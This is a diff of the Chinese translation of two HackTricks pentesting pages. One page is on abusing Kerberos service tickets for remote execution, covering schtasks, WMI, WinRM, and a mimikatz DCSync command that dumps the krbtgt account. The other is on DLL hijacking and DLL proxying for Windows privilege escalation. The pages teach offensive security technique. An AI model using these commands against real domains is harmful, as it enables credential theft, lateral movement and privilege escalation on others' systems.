| ------------------------------------------ | ------------------------------------------------------------------------ |
|
||||
| WMI | <p>HOST</p><p>RPCSS</p> |
|
||||
| PowerShell 远程操作 | <p>HOST</p><p>HTTP</p><p>取决于操作系统，也可能有：</p><p>WSMAN</p><p>RPCSS</p> |
|
||||
| WinRM | <p>HOST</p><p>HTTP</p><p>在某些情况下，您可以直接请求：WINRM</p> |
|
||||
| 计划任务 | HOST |
|
||||
| Windows 文件共享，也包括 psexec | CIFS |
|
||||
| LDAP 操作，包括 DCSync | LDAP |
|
||||
| Windows 远程服务器管理工具 | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
|
||||
| Golden Tickets | krbtgt |
|
||||
|
||||
使用**Rubeus**，您可以使用以下参数请求所有这些票证：
|
||||
使用 **Rubeus**，您可以使用以下参数请求所有这些票据：
|
||||
|
||||
* `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
|
||||
|
||||
## 滥用服务票证
|
||||
## 滥用服务票据
|
||||
|
||||
在以下示例中，假设使用管理员帐户模拟检索到票证。
|
||||
在以下示例中，假设以管理员账户的身份检索票据。
|
||||
|
||||
### CIFS
|
||||
|
||||
使用此票证，您将能够通过**SMB**访问`C$`和`ADMIN$`文件夹（如果它们被公开），并将文件复制到远程文件系统的某个位置，只需执行以下操作：
|
||||
有了这张票据，您将能够通过 **SMB** 访问 `C$` 和 `ADMIN$` 文件夹（如果它们被暴露）并仅通过执行如下操作将文件复制到远程文件系统的一部分：
|
||||
```bash
|
||||
dir \\vulnerable.computer\C$
|
||||
dir \\vulnerable.computer\ADMIN$
|
||||
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
||||
```
|
||||
您还可以使用**psexec**在主机内获取一个shell或执行任意命令：
|
||||
您还可以使用 **psexec** 在主机内获取 shell 或执行任意命令：
|
||||
|
||||
{% content-ref url="../ntlm/psexec-and-winexec.md" %}
|
||||
[psexec-and-winexec.md](../ntlm/psexec-and-winexec.md)
|
||||
|
|
@ -100,7 +98,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp
|
|||
|
||||
### 主机
|
||||
|
||||
通过此权限，您可以在远程计算机上生成计划任务并执行任意命令：
|
||||
拥有此权限，您可以在远程计算机上生成计划任务并执行任意命令：
|
||||
```bash
|
||||
#Check you have permissions to use schtasks over a remote server
|
||||
schtasks /S some.vuln.pc
|
||||
|
|
@ -112,9 +110,9 @@ schtasks /query /S some.vuln.pc
|
|||
#Run created schtask now
|
||||
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
|
||||
```
|
||||
### 主机 + RPCSS
|
||||
### HOST + RPCSS
|
||||
|
||||
使用这些票据，您可以在受害系统上执行 WMI：
|
||||
使用这些票据，您可以**在受害系统中执行WMI**：
|
||||
```bash
|
||||
#Check you have enough privileges
|
||||
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
|
||||
|
|
@ -124,7 +122,7 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
|
|||
#You can also use wmic
|
||||
wmic remote.computer.local list full /format:list
|
||||
```
|
||||
在以下页面中查找有关wmiexec的更多信息：
|
||||
在以下页面中查找有关 **wmiexec** 的**更多信息**：
|
||||
|
||||
{% content-ref url="../ntlm/wmicexec.md" %}
|
||||
[wmicexec.md](../ntlm/wmicexec.md)
|
||||
|
|
@ -132,35 +130,35 @@ wmic remote.computer.local list full /format:list
|
|||
|
||||
### 主机 + WSMAN (WINRM)
|
||||
|
||||
通过计算机上的winrm访问，您可以**访问它**，甚至获取PowerShell：
|
||||
通过 winrm 访问一台计算机，您可以**访问它**，甚至可以获得 PowerShell：
|
||||
```bash
|
||||
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
|
||||
```
|
||||
请查看以下页面以了解使用winrm与远程主机建立连接的更多方法：
|
||||
查看以下页面，了解**使用 winrm 连接远程主机的更多方法**：
|
||||
|
||||
{% content-ref url="../ntlm/winrm.md" %}
|
||||
[winrm.md](../ntlm/winrm.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="warning" %}
|
||||
请注意，要访问远程计算机，**winrm必须处于活动状态并监听**。
|
||||
请注意，要访问远程计算机，**winrm 必须处于活动状态并且在监听**。
|
||||
{% endhint %}
|
||||
|
||||
### LDAP
|
||||
|
||||
通过此特权，您可以使用**DCSync**来转储DC数据库：
|
||||
拥有此权限，您可以使用 **DCSync** 导出 DC 数据库：
|
||||
```
|
||||
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
|
||||
```
|
||||
在以下页面了解有关DCSync的更多信息：
|
||||
**了解更多关于DCSync** 的信息，请查看以下页面：
|
||||
|
||||
{% content-ref url="dcsync.md" %}
|
||||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果您对**黑客职业**感兴趣并想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。
|
||||
如果你对**黑客职业**感兴趣，并且想要黑进那些不可黑的系统 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -168,10 +166,10 @@ mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.loc
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗？您想在HackTricks中看到您的**公司广告**吗？或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)，或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
* 你在**网络安全公司**工作吗？你想在**HackTricks**上看到你的**公司广告**吗？或者你想要获得**PEASS最新版本或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,112 +1,114 @@
|
|||
# DLL劫持
|
||||
# Dll 劫持
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 你在一家**网络安全公司**工作吗？你想在**HackTricks**中看到你的**公司广告**吗？或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**推特**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **提交PR来分享你的黑客技巧** 和 [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标 - **我们正在招聘！**（需要流利的波兰语书面和口语表达能力）。
|
||||
如果你对**黑客职业**感兴趣并且想要黑掉不可黑的 - **我们正在招聘！** (_需要流利的波兰语书写和口语_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 定义
|
||||
|
||||
首先，让我们先了解一下定义。DLL劫持在最广义上是指**欺骗一个合法/可信任的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_和_DLL侧加载_经常被错误地用来表示相同的意思。
|
||||
首先，让我们先弄清楚定义。从广义上讲，DLL劫持是**欺骗合法/受信任的应用程序加载任意DLL**。术语如_DLL搜索顺序劫持_、_DLL加载顺序劫持_、_DLL欺骗_、_DLL注入_ 和 _DLL侧加载_ 经常被错误地用来表示相同的意思。
|
||||
|
||||
DLL劫持可以用于**执行**代码、获取**持久性**和**提升权限**。在这三种情况中，**最不可能**发现的是**提升权限**。然而，由于这是权限提升部分的一部分，我将重点介绍这个选项。此外，无论目标是什么，DLL劫持的执行方式都是相同的。
|
||||
DLL劫持可以用来**执行**代码、获得**持久性**和**提升权限**。在这三个中，**最不可能**找到的是**提升权限**。然而，由于这是权限提升部分的一部分，我将专注于这个选项。另外，请注意，无论目标是什么，DLL劫持的执行方式都是相同的。
|
||||
|
||||
### 类型
|
||||
|
||||
有多种方法可供选择，成功与否取决于应用程序配置加载所需DLL的方式。可能的方法包括：
|
||||
有多种方法可以选择，成功与否取决于应用程序配置加载其所需DLL的方式。可能的方法包括：
|
||||
|
||||
1. **DLL替换**：用恶意DLL替换合法DLL。这可以与_DLL代理_结合使用\[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)]，以确保原始DLL的所有功能保持完整。
|
||||
2. **DLL搜索顺序劫持**：应用程序指定的没有路径的DLL按照特定顺序在固定位置进行搜索\[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。通过将恶意DLL放在实际DLL之前进行搜索顺序劫持。这有时包括目标应用程序的工作目录。
|
||||
3. **幻影DLL劫持**：在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL\[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。
|
||||
4. **DLL重定向**：更改DLL的搜索位置，例如通过编辑`%PATH%`环境变量或`.exe.manifest` / `.exe.local`文件以包含包含恶意DLL的文件夹\[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。
|
||||
5. **WinSxS DLL替换**：在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常称为DLL侧加载\[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。
|
||||
6. **相对路径DLL劫持**：将合法应用程序复制（并可选地重命名）到用户可写入的文件夹中，与恶意DLL放在一起。在使用方式上，它与（签名的）二进制代理执行\[[8](https://attack.mitre.org/techniques/T1218/)]有相似之处。这种方法的变体有点自相矛盾，被称为“_bring your own LOLbin_”\[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]，其中合法应用程序与恶意DLL一起提供（而不是从受害者机器上的合法位置复制）。
|
||||
1. **DLL替换**：用恶意DLL替换合法DLL。这可以与_DLL代理_结合使用，确保原始DLL的所有功能保持完整。
|
||||
2. **DLL搜索顺序劫持**：应用程序未指定路径的DLL将按特定顺序在固定位置搜索。通过将恶意DLL放在实际DLL之前搜索的位置来劫持搜索顺序。这有时包括目标应用程序的工作目录。
|
||||
3. **幽灵DLL劫持**：在合法应用程序尝试加载的缺失/不存在的DLL位置放置恶意DLL。
|
||||
4. **DLL重定向**：更改搜索DLL的位置，例如通过编辑`%PATH%`环境变量，或`.exe.manifest` / `.exe.local`文件包含包含恶意DLL的文件夹。
|
||||
5. **WinSxS DLL替换**：在目标DLL的相关WinSxS文件夹中用恶意DLL替换合法DLL。通常被称为DLL侧加载。
|
||||
6. **相对路径DLL劫持**：将合法应用程序复制（并可选重命名）到用户可写文件夹，与恶意DLL一起。这种使用方式与（签名的）二进制代理执行有相似之处。这种变体有时被（有些矛盾地）称为‘_带上你自己的LOLbin_’，其中合法应用程序与恶意DLL一起带来（而不是从受害者机器上的合法位置复制）。
|
||||
|
||||
## 查找缺失的DLL
|
||||
## 查找缺失的Dlls
|
||||
|
||||
在系统中查找缺失的DLL的最常见方法是运行[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)，**设置以下两个过滤器**：
|
||||
在系统内查找缺失Dlls的最常见方法是运行来自sysinternals的[procmon]，**设置**以下**两个过滤器**：
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
然后只显示**文件系统活动**：
|
||||
并只显示**文件系统活动**：
|
||||
|
||||
.png>)
|
||||
|
||||
如果你正在寻找**一般缺失的DLL**，你可以让它运行**几秒钟**。\
|
||||
如果你正在寻找**特定可执行文件中缺失的DLL**，你应该设置**另一个过滤器，如"进程名称" "包含" "\<exec name>"**，执行它，并停止捕获事件。
|
||||
## 利用缺失的 DLL 进行提权
|
||||
如果你在寻找**一般缺失的dlls**，你可以**让它运行几秒钟**。\
|
||||
如果你在寻找**特定可执行文件内的缺失dll**，你应该设置**另一个过滤器如"进程名称" "包含" "\<exec name>"，执行它，并停止捕获事件**。
|
||||
|
||||
为了提升权限，我们最好的机会是能够**编写一个 DLL，让一个特权进程尝试加载**它在某个**将要被搜索的位置**。因此，我们将能够在一个**在原始 DLL 之前被搜索的文件夹**中**编写**一个 DLL（奇怪的情况），或者我们将能够在一个**将要被搜索的文件夹**中**编写**一个 DLL，而原始的** DLL 在任何文件夹中都不存在**。
|
||||
## 利用缺失的Dlls
|
||||
|
||||
### DLL 搜索顺序
|
||||
为了提升权限，我们最好的机会是能够**写一个dll，一个特权进程将尝试加载**，在某个**将要被搜索的地方**。因此，我们将能够**写**一个dll在一个**文件夹**里，这个文件夹里的**dll在**原始dll所在的文件夹之前被搜索（奇怪的情况），或者我们将能够**写在某个文件夹里，dll将被搜索**，而原始的**dll不存在**于任何文件夹。
|
||||
|
||||
**在**[**Microsoft 文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching)**中，你可以找到 DLL 的具体加载方式。**
|
||||
### Dll搜索顺序
|
||||
|
||||
一般来说，**Windows 应用程序**会使用**预定义的搜索路径来查找 DLL**，并按照特定的顺序检查这些路径。DLL 劫持通常是通过将恶意 DLL 放置在其中一个文件夹中，同时确保该 DLL 在合法 DLL 之前被找到。通过让应用程序指定 DLL 的绝对路径，可以缓解这个问题。
|
||||
**在** [**Microsoft文档**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **中你可以找到Dlls的具体加载方式。**
|
||||
|
||||
你可以在**32 位系统上**看到 DLL 搜索顺序如下：
|
||||
通常，**Windows应用程序**会使用**预定义的搜索路径来查找DLL**，并且会按特定顺序检查这些路径。DLL劫持通常通过将恶意DLL放置在这些文件夹中的一个，同时确保DLL在合法DLL之前被找到。通过让应用程序指定它需要的DLL的绝对路径可以缓解这个问题。
|
||||
|
||||
你可以在下面看到**32位**系统上的**DLL搜索顺序**：
|
||||
|
||||
1. 应用程序加载的目录。
|
||||
2. 系统目录。使用[**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya)函数获取该目录的路径。(_C:\Windows\System32_)
|
||||
3. 16 位系统目录。没有函数可以获取该目录的路径，但是会进行搜索。(_C:\Windows\System_)
|
||||
4. Windows 目录。使用[**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)函数获取该目录的路径。(_C:\Windows_)
|
||||
2. 系统目录。使用[**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya)函数获取此目录的路径。（_C:\Windows\System32_）
|
||||
3. 16位系统目录。没有函数可以获取此目录的路径，但它会被搜索。（_C:\Windows\System_）
|
||||
4. Windows目录。使用[**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya)函数获取此目录的路径。
|
||||
1. (_C:\Windows_)
|
||||
5. 当前目录。
|
||||
6. 在 PATH 环境变量中列出的目录。请注意，这不包括由**App Paths**注册表键指定的每个应用程序路径。计算 DLL 搜索路径时，不使用**App Paths**键。
|
||||
6. 列在PATH环境变量中的目录。注意，这不包括由**App Paths**注册表键指定的每个应用程序路径。计算DLL搜索路径时不使用**App Paths**键。
|
||||
|
||||
这是启用**SafeDllSearchMode**的**默认**搜索顺序。当禁用此功能时，当前目录将升至第二位。要禁用此功能，请创建**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**注册表值，并将其设置为 0（默认启用）。
|
||||
这是启用**SafeDllSearchMode**时的**默认**搜索顺序。当它被禁用时，当前目录升级到第二位。要禁用此功能，请创建**HKEY\_LOCAL\_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode**注册表值并将其设置为0（默认为启用）。
|
||||
|
||||
如果使用[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)函数调用**LOAD\_WITH\_ALTERED\_SEARCH\_PATH**，搜索将从**LoadLibraryEx**正在加载的可执行模块的目录开始。
|
||||
如果调用[**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa)函数并带有**LOAD\_WITH\_ALTERED\_SEARCH\_PATH**，则搜索从**LoadLibraryEx**正在加载的可执行模块的目录开始。
|
||||
|
||||
最后，请注意**DLL 可以通过指定绝对路径而不仅仅是名称来加载**。在这种情况下，该 DLL **只会在该路径中被搜索**（如果 DLL 有任何依赖项，它们将按名称搜索，就像刚加载的一样）。
|
||||
最后，请注意，**可以通过指定绝对路径而不仅仅是名称来加载dll**。在这种情况下，dll**只会在那个路径中被搜索**（如果dll有任何依赖，它们将被视为仅通过名称加载）。
|
||||
|
||||
还有其他改变搜索顺序的方法，但我不会在这里解释它们。
|
||||
还有其他方法可以改变搜索顺序，但我不会在这里解释它们。
|
||||
|
||||
#### Windows 文档中的 DLL 搜索顺序异常
|
||||
#### Windows文档中dll搜索顺序的例外
|
||||
|
||||
* 如果**已经在内存中加载了具有相同模块名称的 DLL**，系统在解析到已加载的 DLL 之前，仅检查重定向和清单。**系统不会搜索该 DLL**。
|
||||
* 如果 DLL 在应用程序运行的 Windows 版本的**已知 DLL 列表**中，**系统将使用其自己的已知 DLL 的副本**（以及已知 DLL 的依赖 DLL，如果有的话），**而不是搜索**该 DLL。有关当前系统上已知 DLL 的列表，请参阅以下注册表键：**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**。
|
||||
* 如果 DLL 有依赖项，系统将按照它们只使用**模块名称**加载的方式搜索依赖 DLL。即使第一个 DLL 是通过指定完整路径加载的，这也是正确的。
|
||||
* 如果内存中已经加载了**具有相同模块名称的DLL**，系统只检查重定向和清单，然后解析到已加载的DLL，无论它在哪个目录中。**系统不会搜索DLL**。
|
||||
* 如果DLL在应用程序运行的Windows版本的**已知DLL列表**上，系统使用其已知DLL的副本（以及任何依赖的已知DLL）**而不是搜索**DLL。要查看当前系统上已知DLL的列表，请参阅以下注册表键：**HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs**。
|
||||
* 如果**DLL有依赖项**，系统**搜索**依赖DLL，就好像它们是仅用其**模块名称**加载的。即使第一个DLL是通过指定完整路径加载的，这也是真的。
|
||||
|
||||
### 提升权限
|
||||
|
||||
**要求**：
|
||||
|
||||
* 找到一个以**其他权限**（水平/横向移动）运行/将要运行的进程，该进程**缺少一个 DLL**。
|
||||
* 在任何**将要被搜索的文件夹**（可能是可执行文件目录或系统路径中的某个文件夹）上具有**写权限**。
|
||||
* **找到一个进程**，它运行/将以**其他权限**运行（水平/横向移动），它**缺少一个dll**。
|
||||
* 在任何**文件夹**中拥有**写权限**，dll将在那里被**搜索**（可能是可执行目录或系统路径内的某个文件夹）。
|
||||
|
||||
是的，要求很难找到，因为**默认情况下很难找到一个缺少 DLL 的特权可执行文件**，而且**在系统路径文件夹中默认情况下无法获得写权限**。但是，在配置错误的环境中，这是可能的。\
|
||||
如果你幸运地满足了这些要求，你可以查看[UACME](https://github.com/hfiref0x/UACME)项目。即使该项目的**主要目标是绕过 UAC**，你可能会在那里找到一个适用于你所使用的 Windows 版本的 DLL 劫持的 PoC（可能只需更改你具有写权限的文件夹的路径）。
|
||||
是的，要求很难找到，因为**默认情况下，找到一个缺少dll的特权可执行文件是有点奇怪的**，在系统路径文件夹中拥有写权限更是**更奇怪**（默认情况下你不能）。但是，在配置不当的环境中，这是可能的。\
|
||||
如果你幸运地发现自己满足要求，你可以查看[UACME](https://github.com/hfiref0x/UACME)项目。即使**该项目的主要目标是绕过UAC**，你也可能会在那里找到一个**PoC**，用于你可以使用的Windows版本（可能只是更改你有写权限的文件夹路径）。
|
||||
|
||||
请注意，你可以通过执行以下操作**检查文件夹中的权限**：
|
||||
请注意，你可以**通过执行以下操作来检查你在文件夹中的权限**：
|
||||
```bash
|
||||
accesschk.exe -dqv "C:\Python27"
|
||||
icacls "C:\Python27"
|
||||
```
|
||||
并**检查路径中所有文件夹的权限**：
|
||||
检查 **PATH** 中所有文件夹的权限：
|
||||
```bash
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
|
||||
```
|
||||
您还可以使用以下命令检查可执行文件的导入项和动态链接库的导出项：
|
||||
你也可以使用以下方法来检查一个可执行文件的导入和一个dll的导出：
|
||||
```c
|
||||
dumpbin /imports C:\path\Tools\putty\Putty.exe
|
||||
dumpbin /export /path/file.dll
|
||||
```
|
||||
要了解如何滥用Dll劫持以提升权限并具有在系统路径文件夹中写入权限的完整指南，请查看：
|
||||
为了全面指导如何**滥用Dll劫持来提升权限**，具有在**系统路径文件夹**中写入权限的检查：
|
||||
|
||||
{% content-ref url="dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md" %}
|
||||
[writable-sys-path-+dll-hijacking-privesc.md](dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
|
||||
|
|
@ -114,39 +116,39 @@ dumpbin /export /path/file.dll
|
|||
|
||||
### 自动化工具
|
||||
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)将检查您是否具有对系统路径中任何文件夹的写入权限。\
|
||||
其他有趣的自动化工具来发现此漏洞是**PowerSploit函数**：_Find-ProcessDLLHijack_，_Find-PathDLLHijack_和_Write-HijackDll_。
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)会检查你是否拥有系统PATH内任一文件夹的写入权限。\
|
||||
其他发现此漏洞的有趣自动化工具包括**PowerSploit函数**：_Find-ProcessDLLHijack_、_Find-PathDLLHijack_ 和 _Write-HijackDll_。
|
||||
|
||||
### 示例
|
||||
|
||||
如果您找到了一个可利用的场景，成功利用它的最重要的事情之一将是**创建一个导出至少所有可执行文件将从中导入的函数的dll**。无论如何，请注意，Dll劫持在从中间完整性级别升级到高级（绕过UAC）或从高级升级到SYSTEM方面非常方便。您可以在此dll劫持研究中找到一个创建有效dll的示例，该研究专注于用于执行的dll劫持：[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
|
||||
此外，在下一节中，您可以找到一些可能有用作模板或创建具有非必需导出函数的dll的基本dll代码。
|
||||
如果你发现了一个可利用的场景，成功利用它最重要的事情之一将是**创建一个至少导出可执行文件将从中导入的所有函数的dll**。无论如何，请注意Dll劫持在[从中等完整性级别提升到高级别 **（绕过UAC）**](../authentication-credentials-uac-and-efs.md#uac)或从[**高完整性提升到SYSTEM**](./#from-high-integrity-to-system)**时非常方便。** 你可以在这个专注于执行的dll劫持研究中找到一个**如何创建有效dll**的示例：[**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**。**\
|
||||
此外，在**下一节**中，你可以找到一些**基本的dll代码**，这些代码可能作为**模板**或创建**导出非必需函数的dll**时很有用。
|
||||
|
||||
## **创建和编译Dlls**
|
||||
|
||||
### **Dll代理化**
|
||||
### **Dll代理**
|
||||
|
||||
基本上，**Dll代理**是一种能够在加载时执行恶意代码的Dll，但也能够通过将所有调用传递给真实库来作为预期的方式**公开**和**工作**。
|
||||
基本上，**Dll代理**是一种能够**在加载时执行恶意代码**，同时通过**转发所有调用到真实库**，来**暴露**并**按预期工作**的Dll。
|
||||
|
||||
使用工具\*\*\*\*[**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant)\*\*\*\*或\*\*\*\*[**Spartacus**](https://github.com/Accenture/Spartacus)\*\*\*\*，您实际上可以**指定一个可执行文件并选择要代理化的库**，然后**生成一个代理化的dll**，或者**指定Dll并生成一个代理化的dll**。
|
||||
